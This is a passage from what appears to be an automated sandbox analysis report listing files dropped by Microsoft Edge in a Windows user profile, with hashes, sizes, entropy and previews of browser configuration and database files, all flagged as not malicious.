SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\35c2f1e3-ecdb-4f4f-8726-4564e04718f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3e0ad.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e3ab1acf-28be-444d-b5ad-07130f1a83bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ee0a3b0d-9a3f-4fad-ad08-c9d78d7ec863.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.194402464345768
Encrypted:	false
SSDEEP:	12:OdvVaYebvqBZFUt83P1/+3m5OaYebvqBaJ:cVaYebvyg8jOaYebvL
MD5:	9843119D223A1D36731CEBEE951C266E
SHA1:	8C5D521F058B8728A2F54B6C18E65FE19EF0679A
SHA-256:	5398D17C549FD39B1ADD852ABA9FC741D9BD578A309FEC61FE2B776A91EC7729
SHA-512:	FA20515693C6EB2D44FBC877A03C514AA57400E418AE05B5EAAC5DF2288AB1C72285BA405C0A4280319A110FD6CC624DD9D37F464FBD263E801B3D8C4CDB2745
Malicious:	false
Preview:	2024/11/22-23:02:56.317 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-23:02:56.321 1d30 Recovering log #3.2024/11/22-23:02:56.324 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.194402464345768
Encrypted:	false
SSDEEP:	12:OdvVaYebvqBZFUt83P1/+3m5OaYebvqBaJ:cVaYebvyg8jOaYebvL
MD5:	9843119D223A1D36731CEBEE951C266E
SHA1:	8C5D521F058B8728A2F54B6C18E65FE19EF0679A
SHA-256:	5398D17C549FD39B1ADD852ABA9FC741D9BD578A309FEC61FE2B776A91EC7729
SHA-512:	FA20515693C6EB2D44FBC877A03C514AA57400E418AE05B5EAAC5DF2288AB1C72285BA405C0A4280319A110FD6CC624DD9D37F464FBD263E801B3D8C4CDB2745
Malicious:	false
Preview:	2024/11/22-23:02:56.317 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-23:02:56.321 1d30 Recovering log #3.2024/11/22-23:02:56.324 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.154077623664637
Encrypted:	false
SSDEEP:	6:HuFW3+q2PN723oH+TcwtpIFUt8YsFa5Zmw+YsFatVkwON723oH+Tcwta/WLJ:qjvVaYebmFUt8BI/+BQ5OaYebaUJ
MD5:	993B8C2999FAD58EF52AC006B5FCDE95
SHA1:	7AD1AAD8E2455D1686BD6BEAF2C272BD850AD66F
SHA-256:	9DAD0EE76081A57AC92DE4BCACFBDEB882F907654812B7132FDB947C0041237B
SHA-512:	4F23720D2093383BCED36B2850FDDBFB2670DCF303F23F155BBE963A2EE8ED96A9F071D6E58D8A1B6504C950ECDED7593DF6A223C398F52B8F8380D7594CC781
Malicious:	false
Preview:	2024/11/22-23:02:37.711 1f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-23:02:37.713 1f8 Recovering log #3.2024/11/22-23:02:37.713 1f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.154077623664637
Encrypted:	false
SSDEEP:	6:HuFW3+q2PN723oH+TcwtpIFUt8YsFa5Zmw+YsFatVkwON723oH+Tcwta/WLJ:qjvVaYebmFUt8BI/+BQ5OaYebaUJ
MD5:	993B8C2999FAD58EF52AC006B5FCDE95
SHA1:	7AD1AAD8E2455D1686BD6BEAF2C272BD850AD66F
SHA-256:	9DAD0EE76081A57AC92DE4BCACFBDEB882F907654812B7132FDB947C0041237B
SHA-512:	4F23720D2093383BCED36B2850FDDBFB2670DCF303F23F155BBE963A2EE8ED96A9F071D6E58D8A1B6504C950ECDED7593DF6A223C398F52B8F8380D7594CC781
Malicious:	false
Preview:	2024/11/22-23:02:37.711 1f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/22-23:02:37.713 1f8 Recovering log #3.2024/11/22-23:02:37.713 1f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.268012916093758
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMZSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0JZ91LyKOMq+8iP5GLP/0j
MD5:	6BBD1D487B5B59E55AD7C0126B073B5E
SHA1:	F3F535B561A17A964513AB9FEBC0CDDB45259396
SHA-256:	4F26A0EF8B2BCD8AFB33FAA2098B6486140BB092186B1BA1D9DF29C348FBB314
SHA-512:	2086FEDA7558696FC3704AD74F6AC57EC3DD44C7DE48306173B19816EBB97EFA6A8188C0AA28DA6C0F69C8FB5A4EAB7B654268333F3690D99DE8FC55045EC351
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46655913645110436
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0HcJ:v7doKsKuKZKlZNmu46yjx0i
MD5:	FE1847102AF8AB3EE179520E8E8554EF
SHA1:	0F4347C87A847EDC65E6CCA1A1334520B1AA615C
SHA-256:	9ADFB58B11472C433274AE5F6A4D5ABF47F40007BE6F933A00E3D34D7D976FD4
SHA-512:	E9D1A4EEDE9F085395742FDCBF7FA351708397AAEF68635F5CD013F07D89855C3F0F22F97406799A4CD064909FCB587BF5CFC232C9DF18B7F95665BCCD4862DF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ceee862f-4075-4ae5-b4ae-8bed25cb48f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d8940df4-fd1a-4f19-8681-9c98e340cb27.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d9ad9983-39fe-4cf0-b660-cb13ea461f75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17582), with no line terminators
Category:	dropped
Size (bytes):	17586
Entropy (8bit):	5.4797374942483685
Encrypted:	false
SSDEEP:	384:stvPGQSu4isggCD5v+CVCU3JllbObGtQwQK3G:sxOXuZgCoU3JllibGe2G
MD5:	578F54E7E77BF1A0A0C540B2CBAE785E
SHA1:	795A556372184AFE53DA1283E184BF32CD0A786B
SHA-256:	4333EBCC2A0F0FA0CF54DB13DEE192C89BDCCCAB0775B16258732413434EB458
SHA-512:	31E8BFCDC5BCA87874E334F4274D70DAB838BA4D81D39C22C7494C423CFE1D3BE2FC47352505D9BB7667A86FDAFCF5DE1ACD593BE650641F3922936F0DF2301C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e6cb136c-c1d7-47bf-8f7a-605f40e4cd78.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17417), with no line terminators
Category:	dropped
Size (bytes):	17421
Entropy (8bit):	5.4828995362231
Encrypted:	false
SSDEEP:	384:stvPGQSu4isggCD5v+CVCU3JllbObGtQwQdG:sxOXuZgCoU3JllibGe3G
MD5:	AF7EB1D4FE614CA03E199B3F8ED685A7
SHA1:	7EABDE30803CD9E3140D3E66EBBA6257FA1C7AC8
SHA-256:	F9C3E5695A460AB839CC0AE49DE53422F44A4D53ABC5C74904AA11E71B1F7EE2
SHA-512:	3BA74892C7C8EE2011887C8D06B93215C47180ACDA9E00F331BF6B46CEC8643A1462D88E7130B039BB5626BA8899733C3DA0F6B25AF9A57D0A404B5922063A57
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10261315751945506
Encrypted:	false
SSDEEP:	6:Gu0igHr0i4lL89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/c:+Zw3spEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	BF89CCA42FD458E32E4CEDB76B806F07
SHA1:	A5C1A72E17837A77AF8EC7C76FFFAFEE23728CB9
SHA-256:	5A25F1EB9A29E505FDA9C33297FDEBD03B3800ECA294471445A7EC9BA0CA07F5
SHA-512:	281D5B7A0D9D5A47079D5EDA3D17E977EB65FA3C0A8B8E2B1C169D2CE218E86A6780277423E0A69BB026182845CC083F8AF5A17C06874E1F1A7E4B92D1B675F1
Malicious:	false
Preview:	..-.............M.......$.....$J...V........i...-.............M.......$.....$J...V........i.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8900987249333886
Encrypted:	false
SSDEEP:	384:iqOX+d93PzFDxPNR7AxPfAoUIAxPwAMdVNIAxP1ArPDNIAxPIAX0CADNIAxPJA/2:x1A
MD5:	B1E12A3C88C23B5F63434A57183C67B9
SHA1:	5F3B12A2D64D27EB2A493E485FE6CAC922710901
SHA-256:	FD85B3C973EFCFC2668C4D5557CC95879F94C6F63E46B345D66419118FCBA456
SHA-512:	D09D6E23F88E1DBBBA117A4FCE23DB7AD3EFFD110E31EE75D1595657160CD9179DF89B00BE863D26AF5C767C60668006211AE4E60DA36E2B2B7E0EE2200A1CB2
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	693
Entropy (8bit):	3.5218621094415328
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuzqllZ9Z8G:pHayJlx
MD5:	5EA453DF079568B10B2F0054503A6BCE
SHA1:	C4A74306EAD5B366751687BF54AC9A7F5ADC2688
SHA-256:	167882928276A13054C9FF3D3231C9F85A8FF65C5095F866885FDD868D2C247A
SHA-512:	35842FE6DDBD42D3A8949CD7CCA3D17BBA7FCCA09081AFE8F1BAD00C0E2020E4BD305436A3BB4AB7C398A194CD273C1851225B4790EFB27839244ED199E0C7C7
Malicious:	false
